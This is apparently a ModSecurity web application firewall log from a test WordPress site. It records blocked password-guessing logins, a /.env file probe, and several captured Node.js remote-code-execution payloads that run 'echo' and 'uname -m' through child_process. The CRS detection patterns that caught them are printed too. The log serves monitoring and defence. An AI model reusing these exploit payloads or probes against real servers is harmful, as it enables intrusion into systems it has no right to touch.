[Mon Jan 19 15:48:49.110740 2026] [:error] [pid 1519558] [client 213.35.106.89:53412] [client 213.35.106.89] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "67"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: admin123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EUY2GYTgkqbcbLm7bWAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:49.111074 2026] [:error] [pid 1519558] [client 213.35.106.89:53412] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EUY2GYTgkqbcbLm7bWAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:49.111287 2026] [:error] [pid 1519558] [client 213.35.106.89:53412] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EUY2GYTgkqbcbLm7bWAAAAAk"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:53.644629 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "67"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Admin!@#$%"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EVcbGjUzzv0imnwun1gAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:53.644958 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EVcbGjUzzv0imnwun1gAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:48:53.645160 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EVcbGjUzzv0imnwun1gAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:01.416636 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Warning. detected SQLi using libinjection with fingerprint '1ovc' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "67"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: 1ovc found within ARGS:pwd: 123456!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EXcbGjUzzv0imnwuoBgAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:01.416973 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EXcbGjUzzv0imnwuoBgAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:01.417141 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EXcbGjUzzv0imnwuoBgAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:02.711154 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Warning. detected SQLi using libinjection with fingerprint '1ovc' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "67"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: 1ovc found within ARGS:pwd: 123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EXsbGjUzzv0imnwuoDgAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:02.711465 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EXsbGjUzzv0imnwuoDgAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:02.711631 2026] [:error] [pid 1519560] [client 213.35.106.89:60208] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EXsbGjUzzv0imnwuoDgAAAAo"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:08.236573 2026] [:error] [pid 1509558] [client 213.35.106.89:50946] [client 213.35.106.89] ModSecurity: Warning. detected SQLi using libinjection with fingerprint 'novc' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "67"] [id "942100"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: novc found within ARGS:pwd: Admin123!@#"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EZN96WqECYMZvuzamiwAAAAU"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:08.236919 2026] [:error] [pid 1509558] [client 213.35.106.89:50946] [client 213.35.106.89] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EZN96WqECYMZvuzamiwAAAAU"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 15:49:08.237136 2026] [:error] [pid 1509558] [client 213.35.106.89:50946] [client 213.35.106.89] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=5,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/wp-login.php"] [unique_id "aW5EZN96WqECYMZvuzamiwAAAAU"], referer: https://forst-trento.test.indacotrentino.com/wp-login.php
[Mon Jan 19 18:23:18.628893 2026] [:error] [pid 1509525] [client 18.185.131.55:34992] [client 18.185.131.55] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}} found within ARGS:0: {then: $1:__proto__:then status: resolved_model reason: -1 value: {then:$b1337} _response: {_prefix: var res=process.mainmodule.require(child_process).execsync(echo vuln_test_123456 | base64 -w 0).tostring().trim() throw object.assign(new error(next_redirect) {digest: `next_redirect push/login?a=${res} 307 `}) _chunks: $q2 _formdata: {get: $1:constructor:constructor}}}"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP_10/A1"] [tag "PCI/6.5.2"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aW5ohtnhpURCUJzoPh9m4AAAAAE"]
[Mon Jan 19 18:23:18.629375 2026] [:error] [pid 1509525] [client 18.185.131.55:34992] [client 18.185.131.55] ModSecurity: Warning. Pattern match "(?i)[\\\\s\\\\S]((?:x(?:link:href|html|mlns)|!ENTITY.*?(?:SYSTEM|PUBLIC)|data:text\\\\/html|formaction|\\\\@import|base64)\\\\b|pattern\\\\b.*?=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-941-APPLICATION-ATTACK-XSS.conf"] [line "149"] [id "941130"] [msg "XSS Filter - Category 3: Attribute Vector"] [data "Matched Data: base64 found within ARGS:0: {\\x22then\\x22: \\x22$1:__proto__:then\\x22, \\x22status\\x22: \\x22resolved_model\\x22, \\x22reason\\x22: -1, \\x22value\\x22: \\x22{\\x22then\\x22:\\x22$B1337\\x22}\\x22, \\x22_response\\x22: {\\x22_prefix\\x22: \\x22var res=process.mainModule.require('child_process').execSync('echo VULN_TEST_123456 | base64 -w 0').toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'),{digest: `NEXT_REDIRECT;push;/login?a=${res};307;`});\\x22, \\x22_chunks\\x22: \\x22$Q2\\x22, \\x22_formData\\..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-xss"] [tag "OWASP_CRS"] [tag "OWASP_CRS/W [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aW5ohtnhpURCUJzoPh9m4AAAAAE"]
[Mon Jan 19 18:23:18.630285 2026] [:error] [pid 1509525] [client 18.185.131.55:34992] [client 18.185.131.55] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aW5ohtnhpURCUJzoPh9m4AAAAAE"]
[Mon Jan 19 18:23:18.630461 2026] [:error] [pid 1509525] [client 18.185.131.55:34992] [client 18.185.131.55] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=5,RFI=0,LFI=0,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/apps"] [unique_id "aW5ohtnhpURCUJzoPh9m4AAAAAE"]
[Thu Jan 22 00:04:48.595552 2026] [:error] [pid 1572275] [client 204.76.203.25:54348] [client 204.76.203.25] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXFbkKxXGpO99RaW6xtdFAAAAAY"]
[Thu Jan 22 00:04:48.597515 2026] [:error] [pid 1572275] [client 204.76.203.25:54348] [client 204.76.203.25] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXFbkKxXGpO99RaW6xtdFAAAAAY"]
[Thu Jan 22 00:04:48.597690 2026] [:error] [pid 1572275] [client 204.76.203.25:54348] [client 204.76.203.25] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env"] [unique_id "aXFbkKxXGpO99RaW6xtdFAAAAAY"]
[Thu Jan 22 17:17:54.781570 2026] [:error] [pid 1574705] [client 171.244.41.15:29707] [client 171.244.41.15] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: ${encodeuricomponent(string(res))} 307 `}) _chunks:$q2 _formdata:{get:$1:constructor:constructor}}} found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(uname -m).tostring() })() throw object.assign(..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNssD7n0ZSnusnw3iYggAAAAY"]
[Thu Jan 22 17:17:54.781952 2026] [:error] [pid 1574705] [client 171.244.41.15:29707] [client 171.244.41.15] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('uname -m').toString..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNssD7n0ZSnusnw3iYggAAAAY"]
[Thu Jan 22 17:17:54.783276 2026] [:error] [pid 1574705] [client 171.244.41.15:29707] [client 171.244.41.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNssD7n0ZSnusnw3iYggAAAAY"]
[Thu Jan 22 17:17:54.783436 2026] [:error] [pid 1574705] [client 171.244.41.15:29707] [client 171.244.41.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=10,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNssD7n0ZSnusnw3iYggAAAAY"]
[Thu Jan 22 17:17:56.417948 2026] [:error] [pid 1576471] [client 171.244.41.15:37191] [client 171.244.41.15] ModSecurity: Warning. Pattern match "(?:\\\\$(?:\\\\((?:\\\\(.*\\\\)|.*)\\\\)|\\\\{.*\\\\})|[<>]\\\\(.*\\\\))" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "372"] [id "932130"] [msg "Remote Command Execution: Unix Shell Expression Found"] [data "Matched Data: $((6 7))test).tostring() })() throw object.assign(new error(next_redirect) {digest:`next_redirect push/x?d=${encodeuricomponent(string(res)) found within ARGS:0: {then:$1:__proto__:then status:resolved_model reason:-1 value:{then:$b1337} _response:{_prefix:var res=(function(){var _r=typeof require!==undefined?require:(process.mainmodule?process.mainmodule.require.bind(process.mainmodule):(typeof globalthis.require!==undefined?globalthis.require:null)) return _r(child_process).execsync(echo ..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/COMMAND_INJECTION"] [tag "WASCTC/WASC-31"] [tag "OWASP_TOP [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNtKukQpqT0S6ULsLoywAAAAg"]
[Thu Jan 22 17:17:56.418325 2026] [:error] [pid 1576471] [client 171.244.41.15:37191] [client 171.244.41.15] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('echo TEST$((6+7))TE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNtKukQpqT0S6ULsLoywAAAAg"]
[Thu Jan 22 17:17:56.418405 2026] [:error] [pid 1576471] [client 171.244.41.15:37191] [client 171.244.41.15] ModSecurity: Warning. Pattern match "(?:(?:_(?:\\\\$\\\\$ND_FUNC\\\\$\\\\$_|_js_function)|(?:new\\\\s+Function|\\\\beval)\\\\s*\\\\(|String\\\\s*\\\\.\\\\s*fromCharCode|function\\\\s*\\\\(\\\\s*\\\\)\\\\s*{|this\\\\.constructor)|module\\\\.exports\\\\s*=)" at ARGS:0. [file "/usr/share/modsecurity-crs/rules/REQUEST-934-APPLICATION-ATTACK-NODEJS.conf"] [line "68"] [id "934100"] [msg "Node.js Injection Attack"] [data "Matched Data: function(){ found within ARGS:0: {\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22status\\x22:\\x22resolved_model\\x22,\\x22reason\\x22:-1,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22:\\x5c\\x22$B1337\\x5c\\x22}\\x22,\\x22_response\\x22:{\\x22_prefix\\x22:\\x22var res=(function(){var _r=typeof require!=='undefined'?require:(process.mainModule?process.mainModule.require.bind(process.mainModule):(typeof globalThis.require!=='undefined'?globalThis.require:null));return _r('child_process').execSync('echo TEST$((6 7))TE..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-javascript"] [tag "platform-multi"] [tag "attack-rce" [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNtKukQpqT0S6ULsLoywAAAAg"]
[Thu Jan 22 17:17:56.419836 2026] [:error] [pid 1576471] [client 171.244.41.15:37191] [client 171.244.41.15] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 15)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNtKukQpqT0S6ULsLoywAAAAg"]
[Thu Jan 22 17:17:56.420013 2026] [:error] [pid 1576471] [client 171.244.41.15:37191] [client 171.244.41.15] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 15 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=15,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 15, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXJNtKukQpqT0S6ULsLoywAAAAg"]
[Thu Jan 22 23:43:53.372770 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Rule 7fd199681898 [id "932110"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "258"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
[Thu Jan 22 23:43:53.372882 2026] [:error] [pid 1591510] [client 34.61.110.114:8298] [client 34.61.110.114] ModSecurity: Rule 7fd199676760 [id "932115"][file "/usr/share/modsecurity-crs/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"][line "298"] - Execution error - PCRE limits exceeded (-8): (null). [hostname "forst-trento.test.indacotrentino.com"] [uri "/"] [unique_id "aXKoKf09reoQzXsHKfUp1QAAAAo"]
